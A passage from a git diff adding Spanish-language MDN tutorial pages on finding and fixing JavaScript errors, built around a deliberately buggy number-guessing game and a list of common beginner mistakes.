+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Útiles métodos de cadena</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator">Evaluación: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/what_went_wrong/index.html b/files/es/learn/javascript/first_steps/what_went_wrong/index.html
new file mode 100644
index 0000000000..af36c20852
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/what_went_wrong/index.html
@@ -0,0 +1,268 @@
+---
+title: ¿Qué ha salido mal? Corrigiendo JavaScript
+slug: Learn/JavaScript/First_steps/What_went_wrong
+tags:
+  - Aprender
+  - Artículo
+  - CodingScripting
+  - Debugging
+  - Depurando
+  - Error
+  - Herramientas de Desarrollador
+  - JavaScript
+  - Novato
+  - Principiante
+  - Tutorial
+  - console.log
+  - depurar
+  - 'l10n:priority'
+translation_of: Learn/JavaScript/First_steps/What_went_wrong
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Cuando construiste el juego "Adivina el número" en el artículo anterior, es posible que hayas descubierto que no funcionó. Tranquilo — este artículo tiene como objetivo evitar que te rasques la cabeza por este tipo de problemas brindándote algunos consejos sobre cómo encontrar y corregir errores en programas JavaScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, comprensión básica de HTML y CSS, comprensión de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Para ganar habilidad y confianza para comenzar a solucionar problemas en tu propio código.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Tipos_de_errores">Tipos de errores</h2>
+
+<p>En general, cuando haces algo mal en el código, hay dos tipos principales de errores con los que te encontrarás:</p>
+
+<ul>
+ <li><strong>Errores de sintaxis</strong>: estos son errores de ortografía en tu código que provocan que tu programa no se ejecute en absoluto, o que deje de funcionar a mitad del camino — por lo general, también te proporcionarán algunos mensajes de error. Normalmente no es tan difícil corregirlos, ¡siempre y cuando estés familiarizado con las herramientas adecuadas y sepas qué significan los mensajes de error!</li>
+ <li><strong>Errores lógicos</strong>: Estos son errores en los que la sintaxis realmente es correcta pero el código no hace lo que pretendías, lo cual significa que el programa se ejecuta pero da resultados incorrectos. A menudo, estos son más difíciles de arreglar que los errores sintácticos, ya que generalmente no hay un mensaje de error que te pueda orientar hacia la fuente del error.</li>
+</ul>
+
+<p>Bueno, tampoco es <em>así de simple</em> — a medida que profundices hay algunas otras diferencias. Pero las clasificaciones anteriores funcionarán en esta temprana etapa de tu carrera. Veremos ambos tipos en el futuro.</p>
+
+<h2 id="Un_ejemplo_erróneo">Un ejemplo erróneo</h2>
+
+<p>Para empezar, regresemos a nuestro juego de adivinan el número — excepto que esta vez vamos a explorar una versión que tiene algunos errores insertados deliberadamente. Ve a GitHub y haz una copia local de <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (puedes verlo <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">en vivo aquí</a>).</p>
+
+<ol>
+ <li>Para comenzar, abre la copia local dentro de tu editor de texto favorito y tu navegador.</li>
+ <li>Intenta jugarlo — notarás que cuando presionas el botón "Enviar respuesta", ¡no funciona!</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: ¡Posiblemente tengas tu propia versión del ejemplo del juego que no funciona, y quizás la quieras arreglar! Aún así nos gustaría que en el artículo trabajes con nuestra versión, para que puedas aprender las técnicas que estamos enseñando. Después puedes tratar de arreglar tu ejemplo.</p>
+</div>
+
+<p>En este punto, consultemos la consola del desarrollador para ver si podemos ver algún informe de error de sintaxis y luego tratar de solucionarlo. Abajo aprenderás cómo.</p>
+
+<h2 id="Solucionar_errores_de_sintaxis">Solucionar errores de sintaxis</h2>
+
+<p>Anteriormente en este curso, hicimos que escribieras algunos comandos JavaScript simples en la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de las herramientas para desarrolladores</a> (si no recuerdas cómo abrirla en tu navegador, sigue el enlace anterior para descubrirlo). Lo más útil es que la consola te brinda mensajes de error cada vez que ocurre algún error de sintaxis dentro del JavaScript que alimenta al motor JavaScript del navegador. Ahora vayamos a cazar.</p>
+
+<ol>
+ <li>Ve a la pestaña dónde tienes abierto <code>number-game-errors.html</code> y abre tu consola JavaScript. Deberías ver un mensaje de error con las siguientes líneas: <img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li>
+ <li>Este es un error bastante fácil de rastrear, y el navegador le brinda varios bits de información útil para ayudarte (la captura de pantalla anterior es de Firefox, pero otros navegadores proporcionan información similar). De izquierda a derecha, tenemos:
+  <ul>
+   <li>Una "x" roja para indicar que se trata de un error.</li>
+   <li>Un mensaje de error para indicar qué salió mal: "TypeError: guessSubmit.addeventListener no es una función"</li>
+   <li>Un enlace a "Más información" que te lleva a una página de MDN dónde explica detalladamente qué significa este error.</li>
+   <li>El nombre del archivo JavaScript, que enlaza con la pestaña "Depurador" de las herramientas para desarrolladores. Si sigues este enlace, verás la línea exacta donde se resalta el error.</li>
+   <li>El número de línea donde está el error y el número de carácter en esa línea donde se detectó el error por primera vez. En este caso, tenemos la línea 86, carácter número 3.</li>
+  </ul>
+ </li>
+ <li>Si miramos la línea 86 en nuestro editor de código, encontraremos esta línea:
+  <pre class="brush: js notranslate">guessSubmit.addeventListener('click', checkGuess);</pre>
+ </li>
+ <li>El mensaje de error dice "<code>guessSubmit.addeventListener no es una función</code>", lo cual significa que el intérprete de JavaScript no reconoce la función que estamos llamando. A menudo, este mensaje de error en realidad significa que hemos escrito algo mal. Si no estás seguro de la ortografía correcta de una parte de la sintaxis, a menudo es bueno buscar la función en MDN. La mejor manera de hacer esto es, en tu navegador favorito, buscar "mdn <em>nombre-de-característica</em>". Aquí hay un atajo para ahorrarte algo de tiempo en esta instancia: <code><a href="/es/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li>
+ <li>Entonces, al mirar esta página, ¡el error parece ser que hemos escrito mal el nombre de la función!. Recuerda que JavaScript distingue entre mayúsculas y minúsculas, por lo que cualquier pequeña diferencia en la ortografía o en mayúsculas provocará un error. Cambiar <code>addeventListener</code> a <code>addEventListener</code> debería solucionar este problema. Hazlo ahora.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Échale un vistazo a nuestra página de referencia <a href="/es/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" no es una función</a> para obtener más detalles sobre este error.</p>
+</div>
+
+<h3 id="Errores_sintácticos_segunda_ronda">Errores sintácticos, segunda ronda</h3>
+
+<ol>
+ <li>Guarda tu página y refréscala, ahora deberías ver que el error ha desaparecido.</li>
+ <li>Ahora, si intentas ingresar un número y presionas el botón "Enviar respuesta", verás... ¡otro error! <img alt="" src="https://mdn.mozillademos.org/files/13498/variable-is-null.png" style="display: block; margin: 0 auto;"></li>
+ <li>Esta vez, el error que se informa es "<code>TypeError: lowOrHi es nulo</code>", en la línea 78.
+  <div class="note"><strong>Nota</strong>: <code><a href="/es/docs/Glossary/Null">Null</a></code> es un valor especial que significa "nada" o "sin valor". Por lo tanto, <code>lowOrHi</code> ha sido declarado e iniciado, pero no con algún valor significativo — no tiene tipo ni valor.</div>
+
+  <div class="note"><strong>Nota</strong>: Este error no apareció tan pronto como se cargó la página porque este error ocurrió dentro de una función (dentro del bloque <code>checkGuess() {...}</code>). Como pronto aprenderás con más detalle en nuestro <a href="/es/docs/Learn/JavaScript/Building_blocks/Functions">artículo de funciones</a>, el código dentro de las funciones se ejecuta en un ámbito separado que el código fuera de las funciones. En este caso, el código no se ejecutó y el error no se lanzó hasta que la función <code>checkGuess()</code> se ejecutó en la línea 86.</div>
+ </li>
+ <li>Échale un vistazo a la línea 78 y verás el siguiente código:
+  <pre class="brush: js notranslate">lowOrHi.textContent = '¡El número es muy grande!';</pre>
+ </li>
+ <li>Esta línea está intentando establecer la propiedad <code>textContent</code> de la constante <code>lowOrHi</code> en una cadena de texto, pero no funciona porque <code>lowOrHi</code> no contiene lo que es supone. Veamos por qué es así — intenta buscar otras instancias de <code>lowOrHi</code> en el código. La primera instancia que encontrarás en JavaScript está en la línea 48:
+  <pre class="brush: js notranslate">const lowOrHi = document.querySelector('lowOrHi');</pre>
+ </li>
+ <li>En este punto, estamos intentando hacer que la variable contenga una referencia a un elemento en el HTML del documento. Comprobemos si el valor es <code>null</code> después de ejecutar esta línea. Agrega el siguiente código en la línea 49:
+  <pre class="brush: js notranslate">console.log(lowOrHi);</pre>
+
+  <div class="note">
+  <p><strong>Nota</strong>: <code><a href="/es/docs/Web/API/Console/log">console.log()</a></code> es una función de depuración realmente útil que imprime un valor en la consola. Por lo tanto, imprimirá el valor de <code>lowOrHi</code> en la consola tan pronto como intentemos configurarlo en la línea 48.</p>
+  </div>
+ </li>
+ <li>Guarda y refresca, y ahora deberías ver el resultado de <code>console.log()</code> en tu consola. <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;">Efectivamente, el valor de <code>lowOrHi</code>es <code>null</code> en este punto, así que definitivamente hay un problema con la línea 48.</li>
+ <li>Pensemos en cuál podría ser el problema. La línea 48 está utilizando un método <code><a href="/es/docs/Web/API/Document/querySelector">document.querySelector()</a></code> para obtener una referencia a un elemento seleccionándolo con un selector CSS. Buscando más adelante en nuestro archivo, podemos encontrar el párrafo en cuestión:
+  <pre class="brush: js notranslate">&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>Entonces necesitamos un selector de clase aquí, que comienza con un punto (<code>.</code>), pero el selector que se pasa al método <code>querySelector()</code> en la línea 48 no tiene punto. ¡Este podría ser el problema! Intenta cambiar <code>lowOrHi</code> a <code>.lowOrHi</code> en la línea 48.</li>
+ <li>Ahora guarda y refresca nuevamente, y tu declaración <code>console.log()</code> debería devolver el elemento <code>&lt;p&gt;</code> que queremos. ¡Uf! ¡Otro error solucionado! Ahora puedes eliminar tu línea <code>console.log()</code>, o mantenerla como referencia más adelante — tu elección.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Consulta nuestra página de referencia <a href="/es/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" (no) es "y"</a> para obtener más detalles sobre este error.</p>
+</div>
+
+<h3 id="Errores_sintácticos_tercera_ronda">Errores sintácticos, tercera ronda</h3>
+
+<ol>
+ <li>Ahora, si intentas jugar de nuevo, deberías tener más éxito — el juego debería funcionar absolutamente bien, hasta que termines el juego, ya sea adivinando el número correcto o porque agotaste los intentos.</li>
+ <li>En ese momento, el juego vuelve a fallar y lanza el mismo error que obtuvimos al principio: "<code>TypeError: resetButton.addeventListener no es una función</code>". Sin embargo, esta vez aparece como procedente de la línea 94.</li>
+ <li>Mirando la línea número 94, es fácil ver que hemos cometido el mismo error aquí. Nuevamente, solo necesitamos cambiar <code>addeventListener</code> a <code>.addEventListener</code>. Hazlo ahora.</li>
+</ol>
+
+<h2 id="Un_error_de_lógica">Un error de lógica</h2>
+
+<p>En este punto, el juego debería trabajar bien, sin embargo, después de jugar varias veces, sin duda notarás que el número "aleatorio" que debes adivinar siempre es 1. ¡Definitivamente no es exactamente como queremos que se desarrolle el juego!</p>
+
+<p>Obviamente hay un problema en la lógica del juego en alguna parte — el juego no devuelve un error; simplemente no está jugando bien.</p>
+
+<ol>
+ <li>Busca la variable <code>randomNumber</code> y las líneas donde se establece primero el número aleatorio. La instancia que almacena el número aleatorio que queremos adivinar al comienzo del juego debe estar alrededor de la línea número 44:
+
+  <pre class="brush: js notranslate">let randomNumber = Math.floor(Math.random()) + 1;</pre>
+  Y la que genera el número aleatorio antes de cada juego subsiguiente está alrededor de la línea 113:</li>
+ <li>
+  <pre class="brush: js notranslate">randomNumber = Math.floor(Math.random()) + 1;</pre>
+ </li>
+ <li>Para comprobar si estas líneas son realmente el problema, volvamos a echar mano de nuestra amiga <code>console.log()</code> — inserta la siguiente línea directamente debajo de cada una de las dos líneas anteriores:
+  <pre class="brush: js notranslate">console.log(randomNumber);</pre>
+ </li>
+ <li>Guarda y refresca, luego juega un par de veces — verás que <code>randomNumber</code> es igual a 1 en cada punto en el que se registra en la consola.</li>
+</ol>
+
+<h3 id="Desentrañando_la_lógica">Desentrañando la lógica</h3>
+
+<p>Para solucionar esto, consideremos cómo está funcionando esta línea. Primero, invocamos a <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code>, que genera un número decimal aleatorio entre 0 y 1, p. ej. 0.5675493843.</p>
+
+<pre class="brush: js notranslate">Math.random()</pre>
+
+<p>A continuación, pasamos el resultado de invocar a <code>Math.random()</code> a <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, que redondea el número pasado al número entero más cercano. Luego agregamos 1 a ese resultado:</p>
+
+<pre class="notranslate">Math.floor(Math.random()) + 1</pre>
+
+<p>Redondear un número decimal aleatorio entre 0 y 1 siempre devolverá 0, por lo que agregarle 1 siempre devolverá 1. Necesitamos multiplicar el número aleatorio por 100 antes de redondearlo hacia abajo. Lo siguiente nos daría un número aleatorio entre 0 y 99:</p>
+
+<pre class="brush: js notranslate">Math.floor(Math.random()*100);</pre>
+
+<p>De ahí que queramos sumar 1, para darnos un número aleatorio entre 1 y 100:</p>
+
+<pre class="brush: js notranslate">Math.floor(Math.random()*100) + 1;</pre>
+
+<p>Intenta actualizar ambas líneas de esta manera, luego guarda y refresca — ¡el juego ahora debería trabajar como pretendemos!</p>
+
+<h2 id="Otros_errores_comunes">Otros errores comunes</h2>
+
+<p>Hay otros errores comunes que encontrarás en tu código. Esta sección destaca la mayoría de ellos.</p>
+
+<h3 id="SyntaxError_falta_antes_de_la_declaración">SyntaxError: <code>falta ; antes de la declaración</code></h3>
+
+<p>Este error generalmente significa que has omitido un punto y coma al final de una de sus líneas de código, pero a veces puede ser más críptico. Por ejemplo, si cambiamos esta línea dentro de la función <code>checkGuess()</code>:</p>
+
+<pre class="brush: js notranslate">var userGuess = Number(guessField.value);</pre>
+
+<p>a</p>
+
+<pre class="brush: js notranslate">var userGuess === Number(guessField.value);</pre>
+
+<p>Lanza este error porque cree que estás intentando hacer algo diferente. Debes asegurarte de no confundir el operador de asignación (<code>=</code>), que establece una variable para que sea igual a un valor — con el operador de igualdad estricta (<code>===</code>), que prueba si un valor es igual a otro y devuelve un resultado <code>true</code>/<code>false</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Ve más detalles sobre este error en nuestra página de referencia <a href="/es/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: falta ; antes de la declaración</a>.</p>
+</div>
+
+<h3 id="El_programa_siempre_dice_que_has_ganado_independientemente_de_lo_que_hayas_ingresado">El programa siempre dice que has ganado, independientemente de lo que hayas ingresado</h3>
+
+<p>Este podría ser otro síntoma de confusión entre la asignación y los operadores de igualdad estricta. Por ejemplo, si cambiamos esta línea dentro de <code>checkGuess()</code>:</p>
+
+<pre class="brush: js notranslate">if (userGuess === randomNumber) {</pre>
+
+<p>a</p>
+
+<pre class="brush: js notranslate">if (userGuess = randomNumber) {</pre>
+
+<p>la prueba siempre devolvería <code>true</code>, haciendo que el programa informe que se ganó el juego. ¡Ten cuidado!</p>
+
+<h3 id="SyntaxError_falta_después_de_la_lista_de_argumentos">SyntaxError: <code>falta ) después de la lista de argumentos</code></h3>
+
+<p>Este es bastante simple — generalmente significa que olvidaste colocar el paréntesis de cierre al final de una llamada a una función/método.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Ve más detalles sobre este error en nuestra página de referencia <a href="/es/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: falta ) después de la lista de argumentos</a>.</p>
+</div>
+
+<h3 id="SyntaxError_falta_después_de_la_propiedad_id">SyntaxError: <code>falta : después de la propiedad id</code></h3>
+
+<p>Este error generalmente se relaciona con un objeto JavaScript formado incorrectamente, pero en este caso logramos obtenerlo cambiando</p>
+
+<pre class="brush: js notranslate">function checkGuess() {</pre>
+
+<p>a</p>
+
+<pre class="brush: js notranslate">function checkGuess( {</pre>
+
+<p>Esto ha hecho que el navegador piense que estamos tratando de pasar el contenido de la función a la función como un argumento. ¡Cuidado con esos paréntesis!</p>
+
+<h3 id="SyntaxError_falta_después_del_cuerpo_de_la_función">SyntaxError: <code>falta } después del cuerpo de la función</code></h3>
+
+<p>Esto es fácil — generalmente significa que has omitido una de tus llaves de una función o estructura condicional. Obtuvimos este error al eliminar una de las llaves de cierre cerca de la parte inferior de la función <code>checkGuess()</code>.</p>
+
+<h3 id="SyntaxError_esperaba_expresión_obtuve_string_o_SyntaxError_Cadena_literal_sin_terminar">SyntaxError: <code>esperaba expresión, obtuve '<em>string</em>'</code> o SyntaxError: <code>Cadena literal sin terminar</code></h3>
+
+<p>Estos errores generalmente significan que has omitido las comillas de apertura o cierre de un valor de cadena. En el primer error anterior, <em>string</em> se reemplazaría con los caracteres inesperados que encontró el navegador en lugar de una comilla al comienzo de una cadena. El segundo error significa que la cadena no se ha terminado con comillas.</p>
+
+<p>Para todos estos errores, piensa en cómo abordamos los ejemplos que vimos en el tutorial. Cuando surge un error, mira el número de línea que te dan, ve a esa línea y revísala para detectar lo que está mal. Ten en cuenta que el error no necesariamente estará en esa línea, y también que el error podría no ser causado por el mismo problema que mencionamos anteriormente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Obtén más detalles sobre estos errores en nuestras páginas de referencia <a href="/es/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: símbolo inesperado</a> y <a href="/es/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: cadena literal sin terminar</a>.</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahí lo tienes, los conceptos básicos para descubrir errores en programas sencillos de JavaScript. No siempre será tan sencillo averiguar qué está mal en tu código, pero al menos esto te ahorrará algunas horas de sueño y te permitirá progresar un poco más rápido cuando las cosas no salgan bien, especialmente en las primeras etapas de tu viaje de aprendizaje.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<div>
+<ul>
+ <li>Hay muchos otros tipos de errores que no se enumeran aquí; estamos compilando una referencia que explica lo que significan en detalle; consulta la <a href="/es/docs/Web/JavaScript/Reference/Errors">referencia de error de JavaScript</a>.</li>
+ <li>Si encuentras algún error en tu código que no estás seguro de cómo solucionarlo después de leer este artículo, ¡puedes obtener ayuda! Solicita ayuda en la <a href="https://discourse.mozilla.org/c/mdn/learn">categoría de aprendizaje del foro de discusión de MDN</a>, o en la <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">sala de MDN Web Docs</a> en <a class="external external-icon" href="https://wiki.mozilla.org/Matrix">Matrix</a>. Dinos cuál es tu error e intentaremos ayudarte. Una copia de tu código también sería útil.</li>
+</ul>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Primer contacto con JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Solución de problemas de JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenamiento de la información que necesita — Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Math">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos de cadena útiles</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator">Evaluación: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/howto/index.html b/files/es/learn/javascript/howto/index.html
new file mode 100644
index 0000000000..b0abd6c044
--- /dev/null
+++ b/files/es/learn/javascript/howto/index.html
@@ -0,0 +1,317 @@
+---
+title: Resuelva problemas comunes en su código JavaScript
+slug: Learn/JavaScript/Howto
+tags:
+  - Aprendizaje
+  - JavaScript
+  - Principante
+translation_of: Learn/JavaScript/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary"></p>
+
+<p class="summary">Los siguientes enlaces apuntan a soluciones a problemas comunes de todos los días que deberá solucionar para que su código JavaScript se ejecute correctamente..</p>
+
+<h2 id="Errores_comunes_de_principiante">Errores comunes de principiante</h2>
+
+<h3 id="Correcta_ortografía_y_casing">Correcta ortografía y casing</h3>
+
+
+
+<p>Si su código no funciona y / o el navegador se queja de que algo no está definido, verifique que haya escrito todos sus nombres de variables, nombres de funciones, etc. correctamente.  </p>
+
+
+
+<p>Algunas funciones comunes del navegador incorporado que causan problemas son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Correcto</th>
+   <th scope="col">Incorrecto</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>getElementsByTagName()</code></td>
+   <td><code>getElementbyTagName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByName()</code></td>
+   <td><code>getElementByName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementsByClassName()</code></td>
+   <td><code>getElementByClassName()</code></td>
+  </tr>
+  <tr>
+   <td><code>getElementById()</code></td>
+   <td><code>getElementsById()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Posición_de_punto_y_coma">Posición de punto y coma</h3>
+
+<p>Debes estar seguro de no colocar ningún punto y coma incorrectamente. Por ejemplo:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Correcto</th>
+   <th scope="col">Incorrecto</th>
+  </tr>
+  <tr>
+   <td><code>elem.style.color = 'red';</code></td>
+   <td><code>elem.style.color = 'red;'</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="Funciones">Funciones</h3>
+
+<p>Hay una serie de cosas que pueden salir mal con la funciones.</p>
+
+<p>Uno de los errores más comunes es declarar una función, pero no llamarla a ninguna parte, Por ejemplo:</p>
+
+<pre class="brush: js">function miFuncion() {
+  alert('Esta es mi funcion.');
+};</pre>
+
+<p>Este código no hará nada a menos que lo llame, por ejemplo con</p>
+
+<pre class="brush: js">miFuncion();</pre>
+
+<h4 id="Alcance_de_la_función">Alcance de la función</h4>
+
+
+
+<p>Recuerda que las <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">funciones tienen su propio alcance</a> — no puedes acceder a un valor de variable establecido dentro de una función desde fuera de la función, a menos que haya declarado la variable globalmente (es decir, no dentro de ninguna función), o <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">retornar el valor</a> fuera de la función.</p>
+
+<h4 id="Ejecución_de_código_después_de_una_declaración_de_retorno_(Return)">Ejecución de código después de una declaración de retorno (Return)</h4>
+
+
+
+<p>Recuerde también que cuando devuelve un valor de una función, el intérprete de JavaScript sale de la función — ningún código declarado después de que se ejecute la declaración de devolución (Return).</p>
+
+<p>De hecho, algunos navegadores (como Firefox) le darán un mensaje de error en la consola del desarrollador si tiene código después de una declaración de devolución. Firefox te ofrece "código inalcanzable después de la declaración de devolución".</p>
+
+<p>Mas abajo podemos observar una función de saludo, posterior a retornar intentamos asignar a la variable x, el valor de la propiedad que viene en la función. Esto nunca ocurrira ya que posterior a retornar un valor se sale del contexto función. En pocas palabras jamas ocurrira la asignación.</p>
+
+<p>Ejemplo de una declaración posterior a una declaración de retorno:</p>
+
+<pre><code>function saludo(nombre){</code>
+ return "Hola, " + nombre + " que bueno que volviste";
+ var x = nombre; //Esta linea jamas se ejecutara ya que viene despues de un retorno
+<code>}</code></pre>
+
+<h3 id="Notación_de_objetos_versus_asignación_normal">Notación de objetos versus asignación normal</h3>
+
+
+
+<p>Cuando asigna algo normalmente en JavaScript, utiliza un solo signo igual, por ejemplo:</p>
+
+<pre class="brush: js">const miNumero= 0;</pre>
+
+<p>Esto no funciona en los <a href="/en-US/docs/Learn/JavaScript/Objects">Objetos</a>, sin embargo, con los objetos, debe separar los nombres de los miembros de sus valores mediante dos puntos y separar cada miembro con una coma, por ejemplo:</p>
+
+<pre class="brush: js">const miObjeto= {
+  nombre: 'Felipe',
+  edad: 27
+}</pre>
+
+<h2 id="Definiciones_básicas">Definiciones básicas</h2>
+
+<div class="column-container">
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#A_high-level_definition">¿Qué es JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#What_is_a_variable">¿Qué es una variable?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">¿Qué son los Strings?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#What_is_an_Array">¿Qué es una matriz?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">¿Qué es un bucle?</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">¿Qué es una función?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">¿Qué es un evento?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">¿Qué es un objeto?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#No_really_what_is_JSON">¿Qué es JSON?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#What_are_APIs">¿Qué es una API web?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">¿Qué es el DOM?</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Casos_de_uso_básico">Casos de uso básico</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="General">General</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#How_do_you_add_JavaScript_to_your_page">¿Cómo agrega JavaScript a su página?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Comments">¿Cómo agrega comentarios al código JavaScript?</a></li>
+</ul>
+
+<h3 id="Variables">Variables</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Declaring_a_variable">¿Cómo se declara una variable?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Initializing_a_variable">¿Cómo se inicializa una variable con un valor?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Updating_a_variable">¿Cómo se actualiza el valor de una variable?</a> (ver también <a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Assignment_operators">Operadores de asignación</a>) </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Variable_types">¿Qué tipos de datos pueden tener los valores en JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Loose_typing">¿Qué significa 'tipeado libremente' (loosely typed)?</a></li>
+</ul>
+
+<h3 id="Matemáticas_(MATH)">Matemáticas (MATH)</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Types_of_numbers">¿Con qué tipos de números tiene que lidiar en el desarrollo web?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Arithmetic_operators">¿Cómo haces matemáticas básicas en JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Operator_precedence">¿Qué es la precedencia del operador y cómo se maneja en JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Increment_and_decrement_operators">¿Cómo se incrementan y disminuyen los valores en JavaScript?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">¿Cómo se comparan los valores en JavaScript?</a> (por ejemplo, para ver cuál es más grande o para ver si un valor es igual a otro).</li>
+</ul>
+
+<h3 id="Cadenas_de_texto_(Strings)">Cadenas de texto (Strings)</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Creating_a_string">¿Cómo se crea una cadena de texto en JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Single_quotes_versus_double_quotes">¿Tienes que usar comillas simples o comillas dobles?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Escaping_characters_in_a_string">How do you escape characters in strings?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">¿Cómo se unen las cadenas de texto?</a></li>
